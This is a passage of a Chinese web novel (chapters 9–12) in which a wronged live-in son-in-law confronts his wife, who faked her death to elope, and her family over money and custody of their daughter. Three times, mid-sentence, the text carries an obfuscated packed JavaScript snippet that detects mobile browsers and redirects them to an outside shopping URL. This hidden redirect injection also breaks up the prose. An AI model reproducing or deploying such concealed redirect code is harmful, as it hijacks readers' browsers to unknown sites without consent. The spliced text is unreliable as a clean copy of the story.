白桃摇头,眼看谭二井听明白了,她这才放松了几分,哇一声哭了出来。 谭二井面色难看:“你说他要报官,已经有人去请衙门的人了?” 见白桃点头,谭二井当机立断:“我们不能再留在这里,如果真去了衙门,论起来是我们理亏,即便没有牢狱之灾,咱俩也会被人指指点点。走!带上招儿姐妹,我们先回村。” 白桃不太想回村,不管有没有失忆,她一女二嫁是事实。再说了,失忆只是她扯的遮羞布,她和谭二井在此过了这么多年,大女儿的年纪九岁多……只要不傻的人,都知道真相是什么。 “都怪我爹! ”她越想越慌,满腔怨气倾泻而出,“当初我明明说了不想嫁给林大力,他偏偏不听。要是他当年成全了我们,哪里会发生这些事?” 谭二井伸手揽住她的肩,飞快往家的方向走,才转入自家所在的那条街,就看到门口里三层外三层围了不少人。 “完了!门口有人,林大力追来了!” 白桃愈发慌乱,努力睁大眼睛在人群中寻找衙差,就怕真的有衙门的人来抓他们。 “那我们现在怎么办?” “先躲起来,我去准备马车,晚上接了闺女就走。” 白桃压低声音:“接孩子的时候,记得把咱俩这些年赚的银子带上。” 当下有银庄,但小老百姓中,很少有人愿意将自己赚到的银子交给银庄托管。他们这些年所有的积蓄都放在床底下的一个鼠洞之中,那地方隐蔽,一般人寻不到,这些年哪怕招贼,积蓄也没被贼掏着。 但他们这一回村,回来不知道得是什么时候,兴许一辈子都再也不回。好在房子是租的,这说走就走,抛弃的只是接下来半个月的租金。 温云起没有在门口等到人,他也不离开,就站在那儿将林大力这些年的经历说了一遍又一遍。围观的人群来了又走,走了又有新人来,但凡一有人问,温云起就会不厌其烦地再说一遍。 不过半天,附近几条街的人都知道白桃招了上门女婿留下一女后诈死与情郎私奔,害得林大力这个上门女婿养了白家多年,还被岳父嫌弃没能为白家传宗接代,无论养家多辛苦,都抵不过他没能传宗接代的错处。 他是个男人,身边没媳妇,怎么可能为白家开枝散叶?没能传宗接代,完全怪不着他呀! 这也太冤枉了。 众人回头肯定会把白桃的所作所为传出去,相信用不了多久,这对有情人的名声绝对会传遍码头。 当天夜里,白桃院子里的谭招儿姐妹俩消失了。 温云起亲眼看见他们的马车出城往家乡的方向去,不紧不慢回到码头,又促成了两笔生意,拿到了百多两银子,这才启程往回走。 他到家时是傍晚,没有回村里,先去了林大春院子里住。 值得一提的是,温云起给林大春一家买了礼物,每个人都有,还都是镇上不常见的贵重东西。 杨氏眉开眼笑,连连说着客气,却准备了格外丰盛的饭菜,还将林二姐一家子也叫过来吃饭。 林二姐在婆家过得不太好,她嫁的是家中老幺,她男人算起来是公公婆婆最疼爱的儿子。但是,林二姐嫁人之后不得不回家伺候亲娘,人的精力有限,忙完了娘家的事,婆家的事情难免就落下了。再加上林二姐嫁人之后连生两胎都是女儿,生第二胎时有些伤着了身子,大夫说想要再生孩子会很难。 她这些年苦药汤子喝了不少,连婆婆找的那些乱七八糟的偏方也捏着鼻子吃了,但是一直没有喜讯传出。 林二姐要比林大力大七岁,三十多岁的年纪,看着比四十多岁的人还要老,头上已经有了白发。这些年,林大力都是和大哥来往,与林二姐之间也就是过年会走动一下,他能感觉到二姐疼爱自己……这些年林二姐并没有给他什么实质上的帮助,不是不想帮,而是有心无力。 姐夫齐冲对林大力一直都挺冷淡,假如一桌人坐在一起说话,他都会尽量忽略林大力。 林大力也不是看不懂旁人的脸色,久而久之,就与姐夫疏远了。 今日的齐冲性情大变,拉着温云起说个不停,知道他与白家生了矛盾后,立即热心肠地出主意:“那一家子都靠着你过日子,你这些年就不累吗?要我说,你还是离开白家,回头再找个年轻的女人进门……月儿是个丫头,根本就靠不住,你最好还是赶紧趁年轻生下个儿子……” 这人还没喝酒呢,就好像醉了一般。 林二姐面色 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以前有人拿这个跟他开玩笑,说他养了一双女儿以后福气好,原本没什么恶意,只是单纯的夸赞……毕竟,出嫁女逢年过节回娘家,都会给亲爹打点酒买点肉。女儿多点,再孝顺些,身为岳父酒肉都吃不完。 人家的本意是夸赞姐妹俩孝顺,但齐冲受不了这种玩笑,当场就翻了脸,掀桌子跟那人打了一架。 当时是在一个喜宴上,此事传开后,旁人就知道齐冲开不得这种玩笑,此后很少有人在他面前说儿子之类的话。 此时温云起这番话,无异于老虎嘴上拔毛。 齐冲脸色阴沉:“我已经打算过继我二哥的孩子,他最小的儿子今年四岁,年纪小,养得亲。” 温云起看了一眼脸色苍白的林二姐,她明显是不赞同过继,只是拒绝不了。 “这件事我二姐答应了吗?” 齐冲哑然:“她为何不答应?这也是为了我们夫妻有儿子养老送终啊。” 送个屁啊! 照齐冲这么算,他以后要把两个女儿嫁出去,将过继来的侄子放在身边养老……不光要给侄子娶妻生子,还有将夫妻多年以来辛苦攒下的所有东西留给侄子。 于林二姐而言,她不能将自己辛苦赚来的东西留给女儿,反而得留给一个不相干的外人。换了谁摊上这种事,肯定都不愿意。 “光我二姐答应还不行,你这过继来的孩子还得叫我和大哥一声舅舅,我们兄弟认不认这个外甥,你得问问我们!”温云起直言,“我不要外甥,有外甥女就够了。” 林二姐用手捂住嘴,呜呜哭了出来。 林大春不打算掺和妹妹的家事,但他也不赞同过继孩子的事,以前就没听齐冲说过,今儿才得知。 “妹夫,子嗣讲究缘分,你们夫妻这么多年没生儿子,那就是没做爷爷的命……” 齐冲大怒,一巴掌拍在桌上:“你有儿子,当然这样说。” “你在哪儿发火呢?”杨氏从厨房探出头,吼道:“我可不欠你的,要闹就滚出去!” 齐冲气笑了:“好好好,你们家这门,以后就是八抬大轿请我来,我也再不会来了。” 语罢,拂袖而去。 9. 当牛做马的上门女婿 九 杨氏原先做过寡妇,从来就不是个好惹的人。 当年她和林大春相看完,直接就摆出了自己的条件,她嫁过来可以,但夫妻俩得有单独的院子住。 在当下,这要求比较过分,但她就是说得出来。 此时也一样,不光骂走了齐冲,她还对着林二姐直言:“二妹,你也别生气,我就是这脾气,谁也不能在我家里拍桌子!” 林二姐苦笑,齐冲走了不要紧,两人也不可能因为这事就做不成夫妻了,只不过,一会儿她回家后肯定要被齐冲骂一顿,说不准他还会动手。 她已经习惯了挨骂,至于挨打……齐冲这些年动手归动手,但都有分寸,不会把她打成重伤,毕竟,还得留着她干活呢。 “没事,饭得了,吃吧。” 林二姐两个女儿此时一脸害怕,分明是大姑娘了,看着远远不如才十一岁的白月自信。 温云起出声:“二姐,我不是开玩笑,过继的事情我不答应,这辈子我只认你生的两个外甥女,其他的野孩子,我一概不认。” 林二姐苦笑:“他铁了心,我怕是拦不住。” “那就不要拦啊!”温云起直言,“让他一个人照顾,反正他要靠着那孩子养老嘛,对那孩子掏心掏肺都是应该的。以后你跟我过!” 林二姐没把这话当真。 她平时太忙了,知道弟弟在与白家闹别扭,也听说过一点儿内请……如果这时候她夫妻吵架,那是给弟弟添麻烦。 “今日天色不早了,大哥,今晚上我和二姐在你这儿挤一宿,明儿一早我就去找中人买院子。” 林大春见弟弟不像是开玩笑,惊讶之余,忍不住问道:“你哪儿来的银子?” 温云起笑道:“这你就不用管了,反正是正当得来,在镇上买个院子应该够。”说到这里,扭头看向一脸惊讶的林二姐,“等院子买下,你带着两个孩子去住,也是帮我打扫整理一下,回头我还要去白家闹几天,等折腾完了再回家住。” 林二姐一脸不赞同:“大力,买院子可不是一点小钱,你别乱来。” “那不会,我就不是那乱来的人。”温云起说话时,林继方已经倒了酒。 林大春有些沉默,杨氏也不如方才高兴,但吃饭时的气氛还是不错的。 一顿饭吃完,外面天已经黑了。温云起比较急,拉着林大春出门消食,其实是准备去找镇上的中人。 林大春好奇:“你真想买院子?” 温云起颔首:“我都三十几岁的人了,到现在也没有自己的住处,买了院子,我也算安了家。” 林大春叹口气,一脸的歉意:“哥哥对不起你,也对不起二妹,原本那个院子都有你们一份,但我……我没本事,这辈子我注定是要欠你们了。” 兄弟姐妹五人,也就林大春的日子看着像样一点,至于老三老四,说是在城里,但要是过得好,怕是早就回乡了。如今既然没回,连消息都没有,多半正躲在哪个犄角旮旯吃苦呢。 而林大春过得不错的前提是他独占了这个院子,有了这地方,杨氏才愿意嫁给他,然后两人才有了林继方这个儿子。 温云起没接话,当初林大力那么贸然去白家,虽然是他自己的选择,是他想要成全哥哥。林大力自己不怨兄长,但不是他不怨,林大春就不亏欠他了。 “别去找中人了,你手头有多少银子?有三十两吗?”林大春见弟弟点头,心下咋舌,伸手一指斜对面的方向,“卢家的院子要卖,他们那院儿比我那大一倍,要价四十两,但他们是急卖,为了尽快换到银子,私底下还承诺院子卖掉后要给中人三两银子的谢礼。我们自己找上门,这银子让他给你减了,咱们再压压价,你出三十,多的我……帮你出!” 四十两的院子减三两好处,余三十七两,依着林大春的打算,最少再压个三到四两下来,剩下的三四两他出……他家里只剩下这些,多少能弥补一些他对弟弟的亏欠。 林大春拉着弟弟往卢家的方向走,低声道:“这银子我出,但对你大嫂那边得说是我借给你的,回头你不用还。” 温云起面色一言难尽:“不用了。” 林大春面色黯然:“这是我的一点心意,你就别推辞了。” 卢家的院子确实是急卖,他们原先是卖豆腐的,夫妻俩生了一儿一女,儿媳妇就是这镇上的人,原本以为亲家近了,以后走动起来方便。结果只是方便了儿媳妇,儿媳妇过门后,一天两三趟的往娘家跑,罗家夫妻也不是那种刻薄的人,不好意思拦着不让儿媳妇回娘家。 结果,儿媳变本加厉,竟然搬回娘家去住,没多久儿子也去了,偶尔才回来睡一宿。 就在去年,夫妻俩忙完了回院子,发现儿媳妇陪嫁来的被子和家具都挪走了。看到这情形,夫妻俩的心都凉了半截。 这哪是娶儿媳,分明是把儿子送出去做上门女婿了。偏偏还是儿子愿意的,他们若是拦着,还会被儿子埋怨。 今年初,嫁到隔壁镇上的女儿的婆婆离世,公公早几年就不在了,小夫妻俩生了三子一女,平时生意又好,根本忙不过来,赚得比他们卖豆腐多,忙一个月就顶得上二老一年。 此次女婿盛情相邀,想让夫妻二人跟他们一起住。 女婿那边院子很大,是两个连在一起的小院,小夫妻俩承诺,等二老过去单独住一边,平时不用做事,只帮他们带孩子就行。并且,女婿还说带孩子会给工钱,主要是不放心外人给自家带孩子,只敢将孩子交给二老照看。 卢母想照看孙子孙女,奈何儿媳不让,这人到了年纪,就想含饴弄孙,儿媳从来没有明面上嫌弃过二人,但是,所作所为一直都将二人当做外人。 夫妻俩商量过后,决定去隔壁镇上,外孙也是孙嘛。之所以急卖院子,就是想拿到银子以后再也不回来……他们也怕自己后悔。 有林大春这个熟人牵线,卢家夫妻让了八两银子,只需要给三十二两,就可以改房契。 这真的是很便宜的价钱,正常这种院子要卖到四十两以上。 温云起当场就付了十两银子:“剩下的明天改房契时付清。” 卢家夫妻之所以愿意让利这么多,也是因为镇上能够拿出这么多现银来买院子的人不多,万一剩个尾款欠着,什么时候能收回都不知道。若是收不回,岂不是等于将院子半卖半送给人家了? 能卖了就好。 两边人都很满意。 林大春在回去的路上,整个人恍恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326981|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惚惚:“你哪里来的银子?” 温云起笑了:“我做生意赚的,你要是愿意的话,等我以后做上路了,你也跟着我一起吧。” 林大春听到弟弟愿意带自己,心知弟弟应该不是在干坏事,总算是放下心来。 * 温云起这是雷厉风行,一大早就约了卢家夫妻去镇长家中,小半个时辰后,他已经拿着一张落了林大力名字的房契。 买院子是大事,林大春不放心 ,连猪都放下了,跟着温云起跑了一趟。 “真不用我借银子给你?你大嫂昨晚上就说了,我们可以挪出四两。” 这是夫妻二人这些年所有的积蓄,原本是打算留着给林继方娶媳妇的。 “不用!” 卢家夫妻的院子保养得不错,因为是做豆腐卖,后面还有一大片空地,连做豆腐的磨和锅都留了下来。 夫妻俩搬走,温云起带着林二姐母女三人进门。 “二姐,你们先住在这儿,这是我的院子,你们想住多久住多久,我绝对不会撵你们离开。” 林二姐一脸惊讶:“大力,这真是你的?” 她细细摩挲着墙上的砖:“青砖啊。” 齐家院墙还是土砖造的呢。 温云起劝道:“我说真的,你如果想离开齐家,我会出面帮忙,相信大哥也愿意。” 林二姐没接话。 镇上的姑娘从小就被教着三从四德,还有从一而终。林二姐即便是对齐冲失望透顶,有还有诸多顾虑。 温云起也不急,由奢入俭难嘛,等到母女三人习惯了不再挨打受骂,习惯了不再伺候一家子以后,回到齐家她们也会不习惯。 * 安排好母女三人,温云起就回了小河村。 小河村中,白桃回家三日了,只是她不太好意思出门。 谭二井按照原先商量好的那样,回村后就说白桃当年落下山崖被水冲到了运安码头,恰巧被他救下,就在照顾她痊愈的这段时间两人日久生情,后来结为了夫妻。 有温云起故意说白桃私奔在前,谭二井说的这话,根本就没几个人相信。不过,众人也不会傻到当面戳穿他。 温云起进门时,白满平正在院子里晒太阳。 冬日里难得有点阳光,白满平晒得懒洋洋的,看到女婿进门,他立刻扯着嗓子喊:“幺妹,你快让有财跑一趟城里,务必将衙门里的大人请来!林大力身为女婿打岳父,一点孝道都不讲,必须要把他关到大牢里好好教训一番!” 白幺妹还真就跑出了门,真的去叫人了。 温云起看着她背影,没有阻止。 白满平这女婿一直盯着小女儿的背影,以为女婿是吓傻了,笑道:“林大力,如今我的大女婿是谭二井,桃儿跟你一点关系都没有,你识相的话就自己滚。对了,再给十两银子,咱们两清!我保证不再找你麻烦。” “大白天做梦,你可真敢想。”温云起似笑非笑,“当初我和白桃正经成了亲,她和情郎私奔,这有夫之妇与人苟合私奔生女……确实该被关到大牢里好好教训,你请了大人,还省得我跑一趟了。同一屋檐下住这么多年,你总算是贴心了一回。” 白满平:“……” 10. 当牛做马的上门女婿 十 白满平早就知道女儿当年诈死的事,只不过夫妻俩回到村里跟谁都说是白桃落下山崖之后失了忆,不记得前程过往,所以才会与谭二井做夫妻。 村里人不管心里信没信,面上都相信了的,还有不少人感慨呢,嫁不嫁人都不要紧,人活着就行。 听得多了,白满平就认为女儿改嫁给谭二井这事一点毛病的没有。 此时女婿的话犹如当头棒喝,敲碎了他的认知。 “幺妹,回来。” 白幺妹的婚事一直没定,她想的是嫁去镇上,奈何镇上找不到合适的年轻后生。她看得上的,人家看不上她。她看不上的……愿意娶她的都是一些歪瓜裂枣。 就在前天,她和村里的方有财结伴从镇上回来,之后越走越近。 方有财是个有心人,接连三天都到白家来献殷勤,白满平看出了他的想法,对这门婚事也不太抵触。 人到了四五十岁,难免就想着老了以后的事。 一个吴德,并不能保证他晚年衣食无忧。毕竟,吴德虽然有心,但是家穷啊,带着妻儿连个遮风避雨的地方地儿都没有,眼前再多一个女婿,怎么也比只有一个女婿要好。 既然是未来的女婿,那就得赶紧使唤。 白幺妹没听见父亲的话。 方有财原本就想讨好岳父,面对岳父的吩咐,当然不会拒绝,当即找了村里的牛车,立刻进城一趟。 林大力这些年在白家付出了多少,所有人都看在眼里。其实大家都能理解林大力的不甘心……白家想要打发此人,难着呢。 如果进城请大人出面,就会容易得多,方有财心知,只要能帮着白家摆脱了林大力,那就算帮了白家大忙……他一个人进城,也可以算是豁出了命去。 他为白家如此尽心尽力,白家不答应他和白幺妹的事情都说不过去。只要事情顺利,这媳妇儿就稳了。 因此,他跑得飞快。 白幺妹也想跟着进城,奈何她与方有财还没有定亲,男女有别,不好一起出远门。 回家的路上,白幺妹一想到方有财对自己百依百顺,心里就甜滋滋的。谁知一进门,就对上了父亲铁青的脸,她回想了一下自己方才的所作所为,确定没有做错事后,顿觉莫名其妙:“爹,你怎么这样看着我?” “有财去了?”白满平忙问。 白幺妹点点头,神情和语气都满是得意:“我话一说完,他就去找吴大伯家里的牛车了,听话着呢……” 白满平以为方有财出村要从自家院子门口过,所以一直都没有起身去追,想着等人路过时再拦下来就是了。 此时听了女儿的话,他才想起有牛车的吴家住在白家后面那一排房子,他家想要离村,根本不用从白家门口路过。 也就是说,方有财这会儿已经出村去了。 白满平急得一拍大腿:“坏了!快去找谭二井,让他把人拦回来。” 白桃躲在屋中,看着翁婿二人吵架,她不知道该怎么面对林大力,失忆之说不过是她的谎言。 这谎言编出来是为了摘清她自己的名声,但凡是谎言,就有可能会被戳穿。私心里,她不愿意一遍遍强调编出来的谎话。 所以,她干脆不出门。 没想到向来沉默的林大力时隔十多年不见,竟变得如此能言善辩,愣是将私奔的帽子死死扣在了她头上。 她确实没有失忆,也没有落下山崖,那天和二妹一起上了山后,很快就与约定好了的谭二井相见,两人是从山上绕路掠过镇子去了一个偏僻的小镇,然后包了马车离开。 因为时间选得巧,加上没人认识他们,所以,两人几乎能确定不会有人阻拦。 白婷儿拦了的,但根本拦不住,俩人铁了心了要走。 当年和情郎一起到了陌生的地方,两人再也不用像在镇上一样躲躲藏藏,可以明目张胆做夫妻。他们特别喜欢这种光明正大的感觉,人前人后感情都很好,心情也不错,结果就是很快有了身孕。 对于生下第一个孩子,白桃心中有诸多顾虑。就怕多年以后两人在一起的事情传回村里,众人会说他们是私奔。 虽然确实是私奔,但迟一点生孩子,外人对于失忆之说会更容易接受。 当时她想要买落胎药来喝,谭二井舍不得,带着她去擅长看男女的神婆那里,当听神婆周肚子里是个男胎时,她自己都舍不得落了这个孩子。 一个女人生不出男娃,她亲眼看见母亲那半生有多苦,不是在生孩子,就是在准备生孩子,苦药汤子喝了不少,平时什么都顾不上,仿佛活着只为了生孩子。 谭二井家里有大哥,但是还没有生出男娃……两人的婚事谭家从始至终就不答应,白桃想要和谭二井过一辈子,自然也希望谭家接受自己。如果有了儿子,谭家接受她的可能会大上许多。 后来生下来是个女儿,俩人都很失望,不过这是他们俩合起来养的第一个孩子,虽然给孩子取名为招儿,却也将两人所有的耐心和疼爱给了这个孩子。 当初生孩子时,两人背井离乡,离村里人很远,他们那时也不觉得自己会回来……大不了一辈子不回嘛。 这想法很草率,如今可不就自打嘴了? 白桃听说方有财真的去城里请大人了,哪里还坐得住?两人原本就是为了躲衙门的人才跑回村里的……她顾不得旁人异样的目光,风一般刮出院子直奔谭家而去。 牛车始终不如马车快,谭二井听说了前因后果,立刻花了大价钱去找村里唯一的马车追人。 一个时辰后,总算是将方有财带了回来。 谭二井原先从来没将林大力此人放在眼里,可如今……瞧林大力这模样,不让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326982|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消气,他绝对会一直纠缠夫妻二人。 没有千日防贼的道理,林大力心里的怨恨就像是一把悬在他们二人头上的大刀,除非林大力闭了嘴,否则,他们俩这辈子都别想过安稳日子。 谭二井去了白家。 白满平看到这混账,气得吹胡子瞪眼:“你来做什么?” 谭二井这些年在码头上混得不错,原先他就不喜欢白满平,觉得白满平太会吹牛,嘴上没几句实话。他在外混了这些年,手头有了点银子,自认有了几分面子,就愈发看不上便宜岳父了。 “我来找林大力,事情总归要解决。” 温云起找了个躺椅坐了,伸手一指小马扎:“坐,这事情一两句话掰扯不清楚,我不喜欢仰着头看人,坐下说话吧。” 谭二井不坐:“虽然你和桃儿是夫妻,但我和她先定情……过去的事情,我不想掰扯谁对谁错,你只管说到底要怎样才肯放过我们,这世上就没有商量不拢的事情。” 言下之意,让温云起开个价。 林大力辛苦十几年,赚了几十两银子养家。 对于镇上的年轻人而言,林大力赚钱的能力真的很不错。 但是,林大力那些年不光辛苦赚钱,他还承受了养家的压力,此外还有白家人明里暗里的打压,话里话外的讥讽嘲笑,最后甚至还丢了命。 他赚的那些银子谭二井可以赔,但后头的那些委屈和压力,甚至是性命,谭二井怎么赔? 温云起闭上眼睛:“你不坐下,我不想谈。” 谭二井:“……” 他是真的想要把这事情解决了,到底蜷缩着身子坐在了小马扎上。 “你这些年在白家花的银子大概有几十两……” 温云起颔首:“你先把我赚的银子赔过来……再说。” 白桃和谭二井辛辛苦苦这许多年,总共也才攒下来了一百多两银子。 这真的不是一笔小数目。 但是,林大力在家里花了这么多,把他的那一份出了,就剩不下多少了。 这些银子都是白桃起早贪黑一碗面一碗面煮出来的,她愿意将银子花在几个女儿身上,甚至是让谭二井拿去输了,都好过平白送给林大力。 “你还再说?做人不要太贪。”白桃很不喜欢林大力,如今更是厌恶不已,“林大力,我是失忆了,不是私奔,我们俩没有错……” 温云起冷笑:“你失忆了,谭二井也忘了前尘往事吗?他明明知道你已经是有夫之妇,还知道你家住何处,即便不把你送回来,好歹传个消息让我们接你回家啊!若你是无辜的,那他就不是好东西,骗一个有夫之妇与他成亲生子……想来应该也能去大牢里蹲上好几年。你们报不报官?若是你们不去,那我去一趟。” 说着就起身作势要走。 谭二井:“……” 11. 当牛做马的女婿 十一 不能去啊! 谭二井这么多年没有回乡,就是怕被人说闲话。 他如今带着白桃回来,纯粹就是被林大力报官给吓的。也就是说,比起被乡亲们议论嘲笑,他更怕与林大力对簿公堂。 前者只是没脸见人,后者不光丢面子,还会有牢狱之灾。 “大力,有话好好说。我赔给你就是了,之前我听说过,你想要五十五两对不对?” 谭二井语气很温和,一边说一边上前,强势地把人拽住。 温云起顺势停住脚步。 “银子拿来再说。” 谭二井看向了白桃。 两人这些年在外地就如同夫妻一般,在陌生的地方相依为命,也让他们的感情越来越好,如今俨然如同亲人一般。 因此,他们互相很是信任,家里所有的积蓄都在白桃那里。 白桃舍不得,脸色青白变幻:“二井,让他去。这里进城那么远,等他真的把大人叫来了再说。” 她是认为林大力不敢惊动大人……事实上,许多人都是这种想法,稍微一点点委屈,或是被人欺负了,只要不是被逼得走投无路,都不会去衙门找大人。 据说衙门外的那个鸣冤鼓,只要敢去敲,就得先挨上三十板子,板子挨完了还有气息,还说得出话,这才可以面见大人陈诉自己的冤屈。 虽说如今好像改了规矩……但这规矩是什么时候改的谁也不知,万一在众人不知道的时候又改回去了怎么办? 普通人挨三十板子,得去大半条命,一个弄不好,兴许就再也活不成了。若不是被逼狠了,真没谁愿意冒这个风险。 林大力沉默寡言,从来就不是个胆大的,她不相信他真的敢去报官。 但是谭二井想法不一样,如今最要紧的事情是赶紧将林大力安抚好……哪怕是之后找机会把银子拿回来,也好过把人逼到现在就去城里告状。 虽说一般人都不敢去衙门,林大力这个胆小鬼应该更不敢。但凡事都有万一,万一他真去了怎么办? “我说让你把银子给他!” 谭二井说这话时,语气很凶,不容拒绝。 白桃这些年不是没有与他吵过架,但他很少如此疾言厉色,她怕得当场就哭了出来。 谭二井皱眉,缓和了语气哄道:“我有分寸,你去把银子取来给我。” 白桃吃软不吃硬,眼看谭二井态度温和下来,她也不再哭了,擦了擦眼泪进房取银子。她没有傻到全部取出来,只拿了六十两。 “呐,全部都在这里了。” 谭二井接过,看也不看,一把塞到温云起手中:“这是我们俩这么多年来攒下来的所有银子,也是我们的诚意。你收着,只求你放我们一马,以后……以后我赚到了银子,还会补偿你!” 温云起看了一眼怀里的几个银锭,呵呵冷笑:“你赚不来银子,那是你没本事,该赔偿给我的一文都不能少。” 谭二井叹口气:“是我对不住你,你就说要多少吧。” “我若是开口要,那不成讹诈了吗?”温云起看了一眼白桃,“你愿意给多少,只看你对白桃的感情有多深了。对了,你们俩既然已经生了女儿,回头我要带着白月一起离开。” 说到这里,他想到了什么,看向白满平,“我不再是你们白家的女婿,孩子自然也不用跟你们姓白,回头我就给小月改姓林。” 白满平无所谓,他想要的是孙子,吴德那边已经承认将长子改姓白……有了孙子,孙女姓什么都不要紧,无论姓白还是姓林,那都还是白家血脉,没必要在这上头争。 谭二井皱了皱眉,到底是没有说出拒绝的话。 在所有人的眼中,白月是林大力的亲生女儿。 白桃跳了出来:“你做梦,要走你一个人走。小月是我十月怀胎拼了命才生下来的……” 温云起飞快打断她:“都说生恩不及养恩大,小月虽然是你生的没错,但当年你走的时候她才两岁,我一把屎一把尿把她拉扯大,这些年又辛辛苦苦赚银子养家……说难听点,我愿意给你几个妹妹置办嫁妆,愿意养着你那一无是处年纪轻轻就老得动不了的爹,都是看在小月的面上。若不是小月拿他们当一家人,非要留在这里,我直接带着她离开,上哪儿不能找一碗饭吃?” 白满平忍无可忍:“你说谁一无是处?” “说你呢!”温云起坦然望了过去,“怎么,你觉得自己还有用?实话说,你除了浪费粮食浪费酒,真没什么用处!” 白满平怒极,就要开骂。 温云起手抬起,止住他的话:“别再说了,我不想跟你们吵,以后我也不是你女婿,说话做事用不着你指点!” 他看向谭二井,“别扯废话,想要我不报官也行,你得给出一个让我满意的价。还有,白月我一定要带走,此事没得商量,无论你给多少好处,我都不会改主意。” 看他铁了心,白桃满面焦急,都要哭出来了,一把抓住谭二井的胳膊。 “小月不能跟他走!” 温云起当然要提出把白月带走,那是两人的亲生女儿,他们对白月满心亏欠,绝对不会放手。 当年白桃与林大力的婚事办得挺简单,但白桃生大女儿没有早产,日子是对得上的。温云起贸贸然说出白月的身世,不会有人相信,甚至还会有人觉得林大力是为了讹诈银子才不择手段的污蔑二人。 谭二井狠狠扯回了自己的胳膊。 这个动作表明了他的态度,也让白桃清醒过来,她反应也快,眼角余光瞥见自家门口站了不少看热闹的人,立即哭着道:“我也才知道自己有小月这么个女儿,这么多年我没在她身边陪她长大,已经很对不起她。二井,你要是真的想和我过下半辈子,就必须接纳小月,并且以后真心拿她当亲生女儿对待!” 谭二井也不想让女儿跟林大力离开,当即做出一副看她哭得伤心不得不妥协的模样:“好!” 白桃破涕为笑:“谭郎,你对我真好,也不枉费我与你做一场夫妻。” 谭二井无奈:“当初是我卑鄙,也算是我拆散了你们夫妻……但只要能和你在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可惜,那些出嫁的姑娘除了白兰儿还客气待他,其他的人都不爱搭理林大力。 有一次林大力去其中一个妹妹家中贺喜,被安排到和村里的那些熊孩子一桌吃饭,半大小子,吃死老子,谁家都不宽裕,办喜事时席面到底是要好一些,大人还矜持,再想吃也会克制,孩子可没有这个顾虑,筷子夹不起来,直接就上手抢,所以,谁都不愿意和孩子坐一桌。 林大力是白家的赘婿没错,但在出嫁女的眼中,他就是娘家的兄弟,按照规矩,娘家兄弟登门,那该坐主桌,由主家人亲自相陪,才算是郑重。 那样的安排,纯粹没有将林大力当做正经亲戚,也是将林大力的脸面扯了放在地上踩。 说到底,白家姐妹是被白满平影响了,她们将林大力多年以来的付出完全当成了理所应当。 谭二井揉了揉眉心:“你要多少,开个价!” 温云起转身:“还是那话,我不开价,反正你们不让我满意,我就不走了。若是谁再敢对我冷嘲热讽,咱们就公堂上见!” 他直接进了林大力的屋子,才发现原先他铺的床已经被换掉,屋子空空,除了一张空的破床之外,什么都没有。 温云起敲了敲墙壁,沉声道:“一刻钟之内,将床给我恢复好,否则,别怪我进城报官。” 白桃:“……” 谭二井:“……”这是要捏着这个把柄一辈子在白家作威作福? 12.当牛做马的上门女婿 十二 白家人和谭二井没有想到应对之策,暂时只能听从林大力的吩咐。 白桃不愿意去帮他铺床,但除了她之外,也找不到合适的人选。父亲自己的床都是姐妹几人帮他铺,他活了大半辈子,就没有伺候过谁,谭二井虽然会铺,但他没有要动弹的意思。至于白幺妹……那更不合适,她还是个未婚姑娘呢。 最后,还是白桃去了。 那两床九成新的被子已经被白满平把抱回了房,这会儿他灰溜溜又抱了出来,还瞪了女儿一眼。 “都是你惹出来的事。” 白桃自知理亏,这也不是和父亲争辩的时候,低着头进去铺床。 温云起站在门口看着,眼看着床快铺好了,他敲了敲门板:“这屋子连个桌子都没,还有,记得给我挂个帐幔。” 白桃忍无可忍,猛然抬头吼道:“你以前都没有用过帐幔,不也过来了?” “我现在过不去,非得要帐幔不可,你就说挂不挂吧。”温云起语气不紧不慢。 白桃气冲冲出门,她买了一床新的帐幔刚挂上,这东西在村里是个新鲜物件,一般人家都舍不得置办。这一时半刻也找不到其他的,只能把她床上的那个摘下来。 “没福气硬享福,我看你是要睡在这床上找死!” 温云起呵呵:“你死了我都不会死,放心吧!” 白桃噎住。 “做饭!”温云起扬声道:“晚上我要喝鸡汤,以前炖一只鸡,都是你们家人分着喝,到我这儿就只剩下了鸡头和鸡骨头,今天我要一人啃一只。” 白幺妹一直都在劝自己忍耐,她是真正见识过林大力有多温和,如今他变了个人似的,她真的很不习惯。 “家里没有鸡了。” 温云起关上房门准备睡会儿:“那是你们该操心的事。” * 一家人都觉得不能这么纵容林大力。 谭二井眼中已经浮起了杀意,只是得找一个合适的机会,不能胡乱动手。最好是杀人之后还能将他们摘出来。 “去把小月叫回来。” 林大力如今看谁都不顺眼,兴许对小月的态度会不一样。 小月住在白兰儿婆家,她和白兰儿的小姑子年纪相仿,两人经常在一起玩耍,感情不错,她有些乐不思蜀,每次去了镇上都不提回家的事。 听说已经死了的亲娘回来了,小月并没有放在心上,她都和小姐妹约好了一起去山上找染指甲的果实。 那地方有点远,来回得大半天,她们第一天被耽误了行程,没去成,第二天才去的。 指甲还没染上,村里就有人上门,说是帮她爷爷带话,让她赶紧回去一趟,最好是当天就回。 